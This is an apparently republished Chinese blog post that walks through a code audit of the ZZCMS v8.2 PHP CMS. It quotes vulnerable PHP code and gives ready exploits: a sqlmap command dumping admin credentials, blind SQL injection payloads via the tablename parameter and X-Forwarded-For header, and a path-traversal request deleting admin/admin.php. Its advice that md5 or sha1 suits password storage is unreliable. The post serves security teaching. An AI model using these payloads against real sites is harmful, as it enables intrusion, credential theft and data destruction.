将安全君呀设为"星标⭐️"
第一时间收到文章更新
声明: 安全君呀 公众号文章中的技术只做研究之用,禁止用来从事非法用途,如有使用文章中的技术从事非法活动,一切后果由使用者自负,与本公众号无关。
文章声明:本篇文章内容部分选取网络,如有侵权,请告知删除。
前言
代码审计,最重要的就是多读代码,对用户与网站交互的地方要特别注意。
在进行审计时,我们也可以使用一些审计工具来辅助我们进行工作,从而提高效率。下面,笔者将分享一次简单的代码审计项目的过程,与大家一起学习。这里,笔者使用 seay 源代码审计系统软件进行辅助工作。
1 审计流程
在进行源代码审计时,使用自动化工具如seay源代码审计系统软件可以大大提高效率,但同时也需要注意以下几点:
-
自动化工具的局限性:自动化工具可以快速识别常见的安全漏洞,但它们可能无法识别所有的安全问题,尤其是那些需要上下文理解或更复杂逻辑分析的问题。
-
人工验证的重要性:自动化审计的结果需要人工进行验证,以确保准确性。即使报告指出存在漏洞,也需要开发者或审计人员根据报告中的详细信息进行确认。
-
上下文分析:有时候,代码片段在孤立的情况下看起来可能是不安全的,但在整体应用的上下文中可能是安全的。因此,需要对代码的上下文进行分析。
-
代码审查:对于报告中标记为可能存在漏洞的代码,应该进行详细的代码审查。这可能包括检查代码的逻辑、数据流、控制流等。
-
安全最佳实践:在审计过程中,应该参考安全编码的最佳实践和标准,以确保代码不仅没有明显的漏洞,而且遵循了行业安全标准。
-
持续监控和更新:安全是一个持续的过程,即使当前的审计没有发现问题,也需要定期更新审计工具和审计策略,以应对新出现的威胁。
-
修复和测试:一旦发现漏洞,应该立即修复,并进行彻底的测试以确保修复有效,并且没有引入新的问题。
-
记录和报告:所有的审计活动和发现的漏洞都应该被详细记录,并生成报告,以供未来的审计和改进参考。
通过结合自动化工具和人工审计,可以更有效地识别和修复源代码中的安全漏洞,提高软件的安全性。
在进行源代码审计时,全局定位搜索功能是提高审计效率的重要工具。
-
全局定位搜索功能:
-
使用全局定位搜索可以快速定位变量或函数在代码库中的位置。Seay源代码审计系统提供了这样的功能,允许用户通过关键词快速查找函数或变量,并列出所有匹配的文件和代码行。
-
-
用户数据和数据库操作的安全注意事项:
-
对于用户输入的数据,必须进行严格的验证和清理,以防止SQL注入、XSS等攻击。应使用参数化查询来防止SQL注入,并遵循最小权限原则,确保数据库账户仅拥有完成其功能所必需的权限。 -
在处理用户数据和数据库操作时,应避免使用明文密码,而是使用单向哈希函数(如md5()和sha1())来设置密码。 -
应用程序与数据库的连接应使用一般的用户账号,并仅开放必要的权限,以减少安全风险。 -
在传递数据给数据库时,应检查数据的大小,并在各编程接口中使用特定的‘逃脱字符’函数,以防止恶意传入非法参数。
-
-
代码审计的最佳实践:
-
确定审计的目的和范围,使用多种工具进行审计,并与开发团队合作,了解应用程序的设计和实现细节。 -
编写详细的审计报告,包括发现的漏洞和缺陷、影响程度和建议的修复措施,并及时修复这些问题。
-
-
自动化工具的局限性:
-
虽然自动化工具如Ansible在运维管理中扮演着重要角色,但它们也有局限性,如性能瓶颈和并行执行限制。
-
-
人工验证的重要性:
-
自动化审计的结果需要人工进行验证,以确保准确性。即使报告指出存在漏洞,也需要开发者或审计人员根据报告中的详细信息进行确认。
-
通过结合这些专业性的扩充信息,可以更全面地理解源代码审计的过程,以及如何有效地利用全局定位搜索功能和注意事项来提高审计的效率和准确性。
sql 注入漏洞
首先,"/user/del.php"在它的初始部分通过包含指令引入了"/inc/conn.php"和"/user/check.php"这两个关键文件。这种模块化的文件包含策略是代码组织中常见的实践,它允许代码重用和功能分离,但同时也增加了代码依赖性和复杂性,这需要在审计过程中予以特别注意。
特别是"/inc/conn.php",它作为数据库连接的配置文件,进一步引入了其他几个文件,这些文件对于整个应用的运行至关重要。在这些文件中,"/inc/function.php"和"/inc/stopsqlin.php"尤其值得关注。
"/inc/function.php"包含了实现核心业务逻辑的函数库。这些函数可能涉及数据处理、用户认证、会话管理等关键操作。在审计这个文件时,需要确保所有的函数都遵循了安全编码的最佳实践,例如输入验证、适当的错误处理机制、以及对敏感数据的加密处理。此外,这些函数的实现应该避免潜在的安全漏洞,如不安全的反序列化、不恰当的异常处理等。
另一方面,"/inc/stopsqlin.php"专门设计用来防御SQL注入攻击。这个文件应该包含了一系列的安全措施,如参数化查询的实现、输入验证函数、以及可能的ORM(对象关系映射)框架的使用。审计时,需要验证这些防御措施是否被正确实施,并且是否覆盖了所有数据库交互点。此外,还应该检查是否有任何绕过这些安全措施的代码路径,以及是否有最新的安全补丁和更新。
# "/user/conn.php"文件
// 引入配置文件,确保所有环境特定的配置都在此文件中定义
require_once(CMS_ROOT_PATH."/inc/config.php");
// 引入网站工具函数库
require_once(CMS_ROOT_PATH."/inc/wjt.php");
// 引入核心功能函数库
require_once(CMS_ROOT_PATH."/inc/function.php");
// 引入站点类库
require_once(CMS_ROOT_PATH."/inc/zsclass.php");
// 引入SQL注入防护库
require_once(CMS_ROOT_PATH."/inc/stopsqlin.php");
// 引入地区数据文件
require_once(CMS_ROOT_PATH."/inc/area.php");
// "/user/stopsqlin.php"文件
/**
* 对用户输入进行清理和转义,防止XSS攻击和SQL注入。
*
* @param mixed $input 用户输入的数据,可能是字符串或数组。
* @return mixed 清理和转义后的数据。
*/
function clean_input($input){
if(!is_array($input)){
// 如果magic_quotes_gpc开启,则get_magic_quotes_gpc会返回true,此时输入已经自动添加了转义字符
if(ini_get('magic_quotes_gpc')){
return htmlspecialchars(trim($input));
}else{
// 对输入进行转义,防止SQL注入和XSS攻击
return addslashes(htmlspecialchars(trim($input)));
}
}
// 如果是数组,则递归清理每个元素
foreach($input as $k => $v){
$input[$k] = clean_input($v);
}
return $input;
}
// 清理REQUEST超全局数组中的所有数据
if($_REQUEST){
$_POST = clean_input($_POST);
$_GET = clean_input($_GET);
$_COOKIE = clean_input($_COOKIE);
// 将清理后的数据提取到当前符号表,以便直接使用变量名访问
extract($_POST);
extract($_GET);
}
/**
* 检查并阻止SQL注入。
*
* @param string $str 需要检查的字符串。
* @return string 检查后的字符串,如果包含非法字符则终止脚本执行。
*/
function check_sql_injection($str){
$inj_data = "',/,,<,>,";
$inj_pattern = explode(",", $inj_data);
foreach($inj_pattern as $pattern){
if(strpos($str, $pattern) !== false){
// 如果发现非法字符,显示错误信息并终止脚本执行
die("含有非法字符 [".$pattern."],请返回重新填写。");
}
}
return $str; // 如果没有非法字符,返回原始字符串
}
我们来看一下"/user/check.php"函数是否存在可利用的地方,这个文件中有 5 处 SQL 语句查询,第一处,无法利用,因为首先参数经过 "/inc/stopsqlin.php" 消毒处理,且被单引号包裹,无法闭合。
# "/user/check.php"文件
$username=nostr($_COOKIE["UserName"]);
$rs=query("select id,usersf,lastlogintime from zzcms_user where
lockuser=0 and username='".$username."' and
password='".$_COOKIE["PassWord"]."'");$row=num_rows($rs);
为了确保只有注册用户才能执行特定的SQL操作,我们需要在审计过程中特别关注SQL语句的执行流程。让我们逐一分析这些SQL语句,尤其是第二处的SQL语句。同时,我们也需要关注getip()
函数的实现,因为它涉及到IP地址的获取,而这个IP地址可能被伪造,且在拼接SQL语句时没有进行适当的过滤,仅仅被单引号包裹。
# "/user/check.php"文件
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE
username='".$username."'");//更新最后登录 IP
# "/inc/function.php"文件
functiongetip(){
if (getenv("HTTP_CLIENT_IP") &&
strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
elseif (getenv("HTTP_X_FORWARDED_FOR") &&
strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
elseif (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),
"unknown"))
$ip = getenv("REMOTE_ADDR");
elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR']
&& strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
那么我们直接用sqlmap跑一下,这里我事先注册好了test用户密码为test,这个系统将用户的密码经 md5 加密后存在数据库中,结果如下:
sqlmap -r Desktop/test.txt --batch -D zzcms -T zzcms_admin -C
"admin,pass" --dump
GET /user/del.php HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,ima
ge/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074;
PHPSESSID=jpeu0l4983924s20f6bk0ktkl0; UserName=test;
PassWord=098f6bcd4621d373cade4e832627b4f6
X-Forwarded-For: 111.111.111.111*
Connection: close
那么最后剩下的 3 处 sql 语句都无法利用,继续往下看。
# "/user/check.php"文件
query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login."WHERE username='".$username."'");//登录时加积分
query("insertinto zzcms_pay (username,dowhat,RMB,mark,sendtime)
values('".$username."','
每 天 登 录 用 户 中 心 送 积 分
','+".jf_login."','','".date('Y-m-d H:i:s')."')");
query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."'
WHERE username='".$username."'");//更新最后登录时间
在代码审查过程中,我们在第130行左右发现了一个潜在的安全问题。具体来说,有一个SQL语句直接将tablename变量拼接到了查询中,而这个tablename变量可以直接通过POST方法获取。由于该变量未经任何过滤或验证,直接用于SQL语句的拼接,这可能导致SQL注入漏洞。
# "/user/del.php"文件
if (strpos($id,",")>0)
$sql="select id,editor from ".$tablename." where id in (". $id .")";
else
$sql="select id,editor from ".$tablename." where id ='$id'";
作者 vr_system 于 2018-02-07 发表了 ZZCMS v8.2 最新版 SQL 注入漏洞
(http://www.freebuf.com/vuls/161888.html) 一文,文中使用的 payload 为:
id=1&tablename=zzcms_answer where id = 1and
if((ascii(substr(user(),1,1)) =121),sleep(5),1)#
在进行安全测试时,我们注意到一个特定的payload依赖于zzcms_answer表的存在才能被利用。如果这个表是空的或者不存在,那么payload将无法执行预期的攻击。
为了增强payload的通用性和适应性,我们需要对其进行改进。以下是改进后的payload示例,同时考虑到POST数据经过addslashes()、htmlspecialchars()、trim()三个函数的处理,我们不能使用大于号>和小于号<。
id=1&tablename=zzcms_answer where id=999999999 union select1,2andif((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
任意文件删除漏洞
在代码审查过程中,我们在第80多行处发现了一个安全漏洞,涉及f变量。该变量是通过将"../"与oldimg直接拼接得到的,没有对.和/字符进行过滤,这可能导致跨目录文件删除(也称为目录遍历攻击)。根据代码逻辑,只要确保img变量不等于oldimg,并且$action变量等于"modify",就可以触发这个漏洞。
"/user/adv.php"文件
payload 如下:
POST /user/adv.php?action=modify HTTP/1.1
Host: 192.168.1.7
Content-Length: 149
Cache-Control: max-age=0
Origin: http://192.168.1.7
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/62.0.3202.62 Safari/537.36
Accept: text/html,application/xhtml
xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.7/user/adv.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074;
PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;
Connection: close
adv=tettste&advlink=/zt/show.php?id=1&company=测试
&img=test&oldimg=admin/admin.php&Submit3=%E5%8F%91%E5%B8%83
同样的漏洞发生在"/user/licence_save.php"30 多行处。
# "/user/licence_save.php"文件
// 假设这是第30行附近的代码
$f = "../" . $oldimg; // 直接拼接路径,未过滤.和/字符
if ($img != $oldimg && $action == "modify") {
// 执行删除操作
unlink($f); // 删除文件
}
安全性改进措施
路径清理:通过safePath函数移除路径中的"../"和"./",防止路径遍历。
输入验证:验证oldimg变量的内容,确保它不包含可能导致安全问题的字符。
权限检查:在执行删除操作之前,检查目标文件是否在允许的目录内,确保不会删除或访问到不应该被操作的文件。
通过这些改进,我们可以显著降低跨目录文件删除的风险,并提高应用程序的安全性。
结束语
当然,大家也可以使用其他的审计工具进行辅助,只要适合自己,有利于审计即可。虽然这是一个小 cms,但是对于代码审计的新手来说,就是要多读、多看、多想。审计小 cms 的过程,就是在积累经验的过程,更是对我们将来审计大型框架进行铺垫。然后多看看网络上代码审计的案例,最重要的,还要自己动手审计一遍,希望这些技巧能够对你学习代码审计有所帮助。
原文始发于微信公众号(安全君呀):记一次简单的代码审计项目案例
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论